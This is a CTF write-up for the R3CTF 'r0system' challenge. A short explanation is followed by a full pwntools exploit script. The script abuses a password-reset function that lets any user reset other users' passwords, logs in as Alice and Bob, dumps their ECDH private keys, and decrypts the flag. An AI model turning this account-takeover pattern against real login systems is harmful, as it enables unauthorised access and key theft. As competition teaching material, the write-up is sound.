R3CTF - r0system Writeup

Author: Ernesto Martínez García

Tags: ctf r3ctf crypto

This challenge wasn’t that much about crypto. You had a login system via passwords and you can also register new users.

After you registered a new user you could reset the password, here was the misuse, as you could reset the password from other users. There was also a functionality that printed the private and public keys of the users.

So you had to register a new user, reset the password from Alice and Bob and then log as them. Finally you have to get both pub/priv keypairs from both and recover the encrypted password.

For recovering the encrypted password (available in the “PublicChannels”) functionality you had to recreate both user’s ECDH keys and “exchange” them to get the shared AB key.

With the AB key you can normally decrypt AES.

Here is the final exploit:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template server.py --host localhost --port 1337
from pwn import *
from Crypto.Cipher import AES
from hashlib import md5

# Set up pwntools for the correct architecture
context.update(arch='i386')
exe = 'server.py'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'ctf2024-entry.r3kapig.com'
port = int(args.PORT or 32299)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process(['python3'] + [exe] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

ALICE=b'416c6963654973536f6d65426f6479'
BOB  =b'426f6243616e4265416e79426f6479'

BOB_PUBK=''
BOB_PRVK=''

ALICE_PUBK=''
ALICE_PRVK=''

ENC_FLAG=''

def register(username, password):
    io.sendlineafter(b'Now input your option:', b'3')
    io.sendlineafter(b'Username[HEX]:', username)
    io.sendlineafter(b'Password[HEX]:', password)
    log.info(f"Registered {username} with password: {password}")

def login(username, password):
    io.sendlineafter(b'Now input your option:', b'1')
    io.sendlineafter(b'Username[HEX]:', username)
    io.sendlineafter(b'Password[HEX]:', password)
    log.info(f"Logged in as {username}")

def resetpassword(username, newpassword):
    io.sendlineafter(b'do you need any services?', b'1')
    io.sendlineafter(b'Username[HEX]:', username)
    io.sendlineafter(b'Password[HEX]:', newpassword)
    log.info(f"Reseted password of {username} to {newpassword}")

def getkeys():
    io.sendlineafter(b'do you need any services?', b'4')
    io.recvuntil(b'Your private key is:')
    priv = io.recvline().strip().decode()
    priv = b2i(bytes.fromhex(priv))
    io.recvuntil(b'Your public key is:')
    pub = io.recvline().strip().decode()
    pub = b2p(bytes.fromhex(pub))
    return [pub, priv]

def get_enc_flag():
    io.sendlineafter(b'do you need any services?', b'3')
    io.recvuntil(b'Now its my encrypted flag:\n')
    io.recvuntil(b'[AliceIsSomeBody] to [BobCanBeAnyBody]: ')
    enc_flag = io.recvline().strip().decode()
    return enc_flag

def logout():
    io.sendlineafter(b'do you need any services?', b'5')
    log.info(f"Logged out")

# Key is derived from A + B key exchange
def enc(msg,key):
    aes = AES.new(key,AES.MODE_ECB)
    return aes.encrypt(pad(msg))

class Curve: 
    def __init__(self):
        # Nist p-256
        self.p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
        self.a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
        self.b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
        self.G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 
                  0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
        self.n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551

    def add(self,P, Q):
        if (P == (0, 0)):
            return Q
        elif (Q == (0, 0)):
            return P
        else: 
            x1, y1 = P
            x2, y2 = Q
            if ((x1 == x2) & (y1 == -y2)):
                return ((0, 0))
            else:
                if (P != Q):
                    l = (y2 - y1) * pow(x2 - x1, -1, self.p)
                else:
                    l = (3 * (x1**2) + self.a) * pow(2 * y1, -1, self.p)
            x3 = ((l**2) - x1 - x2) % self.p
            y3 = (l * (x1 - x3) - y1) % self.p
            return x3, y3

    def mul(self, n , P):
        Q = P
        R = (0, 0)
        while (n > 0):
            if (n % 2 == 1):
                R = self.add(R, Q)
            Q = self.add(Q, Q)
            n = n // 2
        return R

class ECDH:
    def __init__(self, pub, priv):
        self.curve = Curve()
        self.private_key = priv
        self.public_key  = pub

    def exchange_key(self,others_publickey):
        return md5(str(self.curve.mul(self.private_key,others_publickey)).encode()).digest()

def i2b(i,l):
    return int.to_bytes(i,length=l,byteorder='big')

def b2i(b):
    return int.from_bytes(b,byteorder='big')

def p2b(P):
    return i2b(P[0],32) + i2b(P[1],32)

def b2p(m):
    return (b2i(m[:32]),b2i(m[32:]))

io = start()

register(b'16', b'16')
login(b'16', b'16')
resetpassword(ALICE, b'16')
resetpassword(BOB, b'16')
logout()

login(ALICE, b'16')
[ALICE_PUBK, ALICE_PRVK] = getkeys()
log.success(f"Alice public key: {ALICE_PUBK}")
log.success(f"Alice private key: {ALICE_PRVK}")
enc_flag = get_enc_flag()
logout()

login(BOB, b'16')
[BOB_PUBK, BOB_PRVK] = getkeys()
log.success(f"Bob public key: {BOB_PUBK}")
log.success(f"Bob private key: {BOB_PRVK}")
logout()

log.success(f"Encrypted flag is {enc_flag}")

ALICE_CURVE = ECDH(ALICE_PUBK, ALICE_PRVK)
BOB_CURVE   = ECDH(BOB_PUBK, BOB_PRVK)

ABkey = ALICE_CURVE.exchange_key(BOB_CURVE.public_key)

aes = AES.new(ABkey,AES.MODE_ECB)
flag = aes.decrypt(bytes.fromhex(enc_flag)).decode(errors='ignore').strip()

log.success(f"Flag found: {flag}")